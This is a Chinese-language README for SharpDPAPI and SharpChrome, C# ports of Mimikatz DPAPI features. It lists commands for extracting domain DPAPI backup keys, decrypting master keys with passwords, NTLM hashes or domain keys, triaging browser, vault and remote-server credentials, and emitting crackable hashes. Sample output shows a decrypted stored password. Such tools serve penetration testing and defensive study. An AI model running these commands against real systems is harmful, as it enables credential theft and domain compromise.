SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。
SharpDPAPI 是 @gentilkiwi 的 Mimikatz 项目中部分 DPAPI 功能的 C# 移植版本。
我并未构思此逻辑,它仅仅是 Mimikatz 的移植,旨在更好地理解流程并将其操作化以适应我们的工作流程。
SharpChrome 子项目改编自 @gentilkiwi 和 @djhohnstein 的工作,特别是其 SharpChrome 项目。然而,此版本的 SharpChrome 使用了支持无锁打开的不同版本的 C# SQL 库。由于所使用的 SQLite 库体积较大,SharpChrome 在 SharpDPAPI 中被构建为一个单独的项目。
Chrome 和基于 Chromium 的新型 Edge 浏览器均可通过 SharpChrome 进行分类。
SharpChrome 还使用了 @AArnott 的 BCrypt P/Invoke 代码 的精简版本,该代码以 MIT 许可证发布。
如果你不熟悉 DPAPI,请查看此文章获取更多背景信息。有关 DPAPI 中凭据和保管库的更多信息,请参阅 Benjamin 的关于该主题的 Wiki 条目。
@harmj0y 是本移植版本的主要作者。
SharpDPAPI 采用 BSD 3-Clause 许可证授权。
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
检索域控制器的 DPAPI 备份密钥,可选择指定域控制器和输出文件:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
*search* 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
计算机/SYSTEM 分类:
machinemasterkeys - 对所有可访问的计算机主密钥文件进行分类(提升至 SYSTEM 以检索 DPAPI_SYSTEM LSA 秘密)
machinecredentials - 使用 'machinemasterkeys' 然后对计算机凭据文件进行分类
machinevaults - 使用 'machinemasterkeys' 然后对计算机保管库进行分类
machinetriage - 运行 'machinecredentials' 和 'machinevaults' 命令
用户分类:
'masterkeys' 命令的参数:
/target:FILE/folder - 对特定主密钥或包含主密钥的文件夹进行分类(否则对本地主密钥进行分类)
/pvk:BASE64... - 使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
/pvk:key.pvk - 使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
/password:X - 使用明文密码解密目标用户的主密钥(可远程工作)
/ntlm:X - 使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
/credkey:X - 使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
/rpc - 通过请求域控制器解密目标用户的主密钥
/server:SERVER - 对远程服务器进行分类,假设拥有管理员权限
/hashes - 输出用户主密钥文件的 '哈希',格式为 JTR/Hashcat(不解密)
credentials|vaults|rdg|keepass|triage|blob|ps 命令的参数:
解密:
/unprotect - 强制对 'ps'、'rdg' 或 'blob' 命令使用 CryptUnprotectData()
/pvk:BASE64... - 使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
/pvk:key.pvk - 使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
/password:X - 使用明文密码解密目标用户的主密钥(可远程工作)
/ntlm:X - 使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
/credkey:X - 使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
/rpc - 通过请求域控制器解密目标用户的主密钥
GUID1:SHA1 ... - 使用一个或多个 GUID:SHA1 主密钥进行解密
/mkfile:FILE - 使用包含一个或多个 GUID:SHA1 主密钥的文件进行解密
目标定位:
/target:FILE/folder - 对特定的 'Credentials'、'.rdg|RDCMan.settings'、'blob' 或 'ps' 文件位置,或 'Vault' 文件夹进行分类
/server:SERVER - 对远程服务器进行分类,假设拥有管理员权限
注意:必须与 /pvk:KEY 或 /password:X 一起使用
注意:不适用于 'blob' 或 'ps' 命令
证书分类:
'certificates' 命令的参数:
/showall - 显示所有解密的私钥文件,而不仅仅是链接到已安装证书的文件(默认行为)
/machine - 使用本地计算机存储进行证书分类
/mkfile | /target - 用于 /machine 分类
[来自上方用户分类的所有解密参数]
注意:大多数情况下,如果你在处理用户 DPAPI 秘密时直接使用 *triage*,而在处理 SYSTEM DPAPI 秘密时使用 *machinetriage*。
这些功能封装了所有其他可以自动运行的相关功能。
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_**credentials** 命令将搜索凭据文件,并可以 a) 使用提供的任何 `{GUID}:SHA1` 主密钥解密,b) 使用一个 `/mkfile:FILE` 文件,包含一个或多个 `{GUID}:SHA1` 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(`/pvk:BASE64...` 或 `/pvk:key.pvk`)首先解密任何用户主密钥(类似 **masterkeys**),或 d) 使用 `/password:X` 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 `sekurlsa::dpapi` 命令恢复。
可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的凭证文件(或凭证文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值;如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
如果在提升的上下文中运行,将处理所有用户的凭证文件,否则仅处理当前用户的凭证文件。
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage